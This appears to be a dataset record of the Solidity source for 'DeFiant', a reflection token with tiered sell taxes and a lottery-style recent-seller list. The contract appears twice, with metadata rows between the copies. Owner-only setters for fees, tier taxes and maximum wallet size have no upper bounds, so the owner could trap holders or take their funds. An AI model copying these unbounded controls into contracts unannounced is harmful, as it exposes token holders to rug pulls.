tier4_size = 20*10**12* 10**9;
tier4_amount = 22;
tier5_size = 30*10**12* 10**9;
tier5_amount = 27;
_newEntity(0x0000000000000000000000000000000000000001);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
emit Transfer(address(0), _msgSender(), _tTotal.mul(60).div(100));
emit Transfer(address(0), 0x000000000000000000000000000000000000dEaD, _tTotal.mul(40).div(100));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(from != ps, "PS Anti Dump");
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if(!_isExcludedFromFee[to] && !_isExcluded[to]){
require( (balanceOf(to)+amount) < max_wallet_size,"Max Wallet Size Exceeded");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) {
if (overMinimumTokenBalance) {
contractTokenBalance = minimumTokensBeforeSwap;
swapTokens(contractTokenBalance/2);
}
}
bool takeFee = true;
_speedbrakeFee = 0;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//If selling to pcs check to see if last 10 sales and their tier
else if(to == PCS){
find_tier(amount);
require(_checkforlastsell(from)==false, "You already sold within the last 10 transactions!!!");
}
_tokenTransfer(from,to,amount,takeFee);
}
function find_tier(uint256 amount) private {
if(amount>=tier5_size){ _speedbrakeFee=tier5_amount;return;}
else if(amount>=tier4_size){ _speedbrakeFee=tier4_amount;return;}
else if(amount>=tier3_size){ _speedbrakeFee=tier3_amount;return;}
else if(amount>=tier2_size){ _speedbrakeFee=tier2_amount;return;}
else if(amount>=tier1_size){ _speedbrakeFee=tier1_amount;return;}
return;
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 transferredBalance = address(this).balance.sub(initialBalance);
//Send to Marketing address
addLiquidity(contractTokenBalance,transferredBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256 ,uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity, uint256 _amount) private {
uint256 currentRate = _getRate();
uint256 tliqfee = _amount.mul(_liquidityFee).div(10**2);
uint256 rLiquidity = tliqfee.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
{_tOwned[address(this)] = _tOwned[address(this)].add(tliqfee);}
uint256 tburn = tLiquidity - tliqfee;
uint256 rburn = tburn.mul(currentRate);
_rOwned[address(marketingaddress)] = _rOwned[address(marketingaddress)].add(rburn);
if(_isExcluded[address(marketingaddress)])
{_tOwned[address(marketingaddress)] = _tOwned[address(marketingaddress)].add(tburn);}
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee + _speedbrakeFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256 _totalamount) {
uint256 liqfee = _amount.mul(_liquidityFee).div(10**2);
uint256 cbfee = _amount.mul(_burnFee).div(10**2);
return _totalamount.add(liqfee).add(cbfee);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousburnFee = _burnFee;
_taxFee = 0;
_liquidityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousburnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _checkforlastsell(address from)private returns(bool){
if(isEntity(from))
{return true;} //If the user sold in last 10 return true
else{_newEntity(from); // If not, go ahead and add them to the array
if(players.length >= 10){remove(0);} //Remove the oldest address
return false;} //We added the user address, removed the oldest, now return false to let tx to proceed
}
function _newEntity(address entityAddress) internal returns(bool success) {
players.push(entityAddress);
return true;
}
function getEntityCount() private view returns(uint entityCount) {
return players.length;
}
function getArr() public view returns (address[] memory) {
return players;
}
function isEntity(address entityAddress) public view returns(bool) {
uint256 i = 0;
do{
if( players[i] == entityAddress)
{ return true; }
else {i++;}
}
while( i <= players.length.sub(1));
return false;
}
function remove(uint index) private {
if (index >= players.length) return;
for (uint i = index; i<players.length-1; i++){
players[i] = players[i+1];
}
delete players[players.length-1];
players.pop();
}
// Management Functions ***Owner Only*** //
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function setpinksale(address account) public onlyOwner() {
ps = account;
}
function setFees(uint256 burnfee, uint256 taxfee, uint256 liquidityFee) external onlyOwner() {
_burnFee = burnfee;
_taxFee = taxfee;
_liquidityFee = liquidityFee;
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setMarketingAddress(address _marketingAddress, IUniswapV2Router02 _uniswapV2Router) external onlyOwner() {
marketingaddress = _marketingAddress;
uniswapV2Router = _uniswapV2Router; //For the router itself
}
function setpcsfortiers(address pcspair) external onlyOwner(){
PCS=pcspair;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setmaxwallet(uint256 _maxwalletsize) public onlyOwner{
max_wallet_size = _maxwalletsize;
}
//Make sure you add the 9 zeros at the end!!!
function update_tiers(uint256 t1_size,uint256 t1_percent,uint256 t2_size,uint256 t2_percent,uint256
t3_size,uint256 t3_percent,uint256 t4_size,uint256 t4_percent,uint256 t5_size,uint256 t5_percent)external onlyOwner(){
tier1_size = t1_size;
tier1_amount = t1_percent;
tier2_size = t2_size;
tier2_amount = t2_percent;
tier3_size = t3_size;
tier3_amount = t3_percent;
tier4_size = t4_size;
tier4_amount = t4_percent;
tier5_size = t5_size;
tier5_amount = t5_percent;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | update_tiers | function update_tiers(uint256 t1_size,uint256 t1_percent,uint256 t2_size,uint256 t2_percent,uint256
t3_size,uint256 t3_percent,uint256 t4_size,uint256 t4_percent,uint256 t5_size,uint256 t5_percent)external onlyOwner(){
tier1_size = t1_size;
tier1_amount = t1_percent;
tier2_size = t2_size;
tier2_amount = t2_percent;
tier3_size = t3_size;
tier3_amount = t3_percent;
tier4_size = t4_size;
tier4_amount = t4_percent;
tier5_size = t5_size;
tier5_amount = t5_percent;
}
| //Make sure you add the 9 zeros at the end!!! | LineComment | v0.8.10+commit.fc410830 | Unlicense | ipfs://932af957b88e02db394eebe98dff1f7b354d3f1fe6453b3b6a28f304f8060847 | {
"func_code_index": [
21689,
22222
]
} | 4,280 |
||
DeFiant | DeFiant.sol | 0xf0829dc1f8522a48bfdd7d993e1b2d1ebd787fd1 | Solidity | DeFiant | contract DeFiant is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address public marketingaddress = 0x354dBc8AdB191AFc12B868207A4E3382B8b9e5C7; // This is the lottery address
address public PCS;
address private ps;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**15 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "DeFiant";
string private _symbol = "DeFi";
uint8 private _decimals = 9;
uint256 public _burnFee = 5; //This is the marketing tax in tokens
uint256 private _previousburnFee = _burnFee;
uint256 public _speedbrakeFee = 0;
uint256 private _previousspeedbrakeFee = _speedbrakeFee;
uint256 public _taxFee = 5; //This is the reflections tax
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 3; //This gets added to the lp on pcs
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 10**15 * 10**9;
uint256 private minimumTokensBeforeSwap = 10**7 * 10**9;
uint256 private buyBackUpperLimit = 10000000000 * 10**9;
uint256 private max_wallet_size = 10**15 * 10**9;
uint256 public tier1_size;
uint256 public tier1_amount;
uint256 public tier2_size;
uint256 public tier2_amount;
uint256 public tier3_size;
uint256 public tier3_amount;
uint256 public tier4_size;
uint256 public tier4_amount;
uint256 public tier5_size;
uint256 public tier5_amount;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
address[] private players; // Total number of lottery players
event RewardLiquidityProviders(uint256 tokenAmount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal.div(100).mul(60);
_rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(100).mul(40);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingaddress] = true;
tier1_size = 1*10**12* 10**9;
tier1_amount = 7;
tier2_size = 5*10**12* 10**9;
tier2_amount = 12;
tier3_size = 10*10**12* 10**9;
tier3_amount = 17;
tier4_size = 20*10**12* 10**9;
tier4_amount = 22;
tier5_size = 30*10**12* 10**9;
tier5_amount = 27;
_newEntity(0x0000000000000000000000000000000000000001);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
emit Transfer(address(0), _msgSender(), _tTotal.mul(60).div(100));
emit Transfer(address(0), 0x000000000000000000000000000000000000dEaD, _tTotal.mul(40).div(100));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(from != ps, "PS Anti Dump");
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if(!_isExcludedFromFee[to] && !_isExcluded[to]){
require( (balanceOf(to)+amount) < max_wallet_size,"Max Wallet Size Exceeded");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) {
if (overMinimumTokenBalance) {
contractTokenBalance = minimumTokensBeforeSwap;
swapTokens(contractTokenBalance/2);
}
}
bool takeFee = true;
_speedbrakeFee = 0;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//If selling to pcs check to see if last 10 sales and their tier
else if(to == PCS){
find_tier(amount);
require(_checkforlastsell(from)==false, "You already sold within the last 10 transactions!!!");
}
_tokenTransfer(from,to,amount,takeFee);
}
function find_tier(uint256 amount) private {
if(amount>=tier5_size){ _speedbrakeFee=tier5_amount;return;}
else if(amount>=tier4_size){ _speedbrakeFee=tier4_amount;return;}
else if(amount>=tier3_size){ _speedbrakeFee=tier3_amount;return;}
else if(amount>=tier2_size){ _speedbrakeFee=tier2_amount;return;}
else if(amount>=tier1_size){ _speedbrakeFee=tier1_amount;return;}
return;
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 transferredBalance = address(this).balance.sub(initialBalance);
//Send to Marketing address
addLiquidity(contractTokenBalance,transferredBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256 ,uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity, uint256 _amount) private {
uint256 currentRate = _getRate();
uint256 tliqfee = _amount.mul(_liquidityFee).div(10**2);
uint256 rLiquidity = tliqfee.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
{_tOwned[address(this)] = _tOwned[address(this)].add(tliqfee);}
uint256 tburn = tLiquidity - tliqfee;
uint256 rburn = tburn.mul(currentRate);
_rOwned[address(marketingaddress)] = _rOwned[address(marketingaddress)].add(rburn);
if(_isExcluded[address(marketingaddress)])
{_tOwned[address(marketingaddress)] = _tOwned[address(marketingaddress)].add(tburn);}
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee + _speedbrakeFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256 _totalamount) {
uint256 liqfee = _amount.mul(_liquidityFee).div(10**2);
uint256 cbfee = _amount.mul(_burnFee).div(10**2);
return _totalamount.add(liqfee).add(cbfee);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousburnFee = _burnFee;
_taxFee = 0;
_liquidityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousburnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _checkforlastsell(address from)private returns(bool){
if(isEntity(from))
{return true;} //If the user sold in last 10 return true
else{_newEntity(from); // If not, go ahead and add them to the array
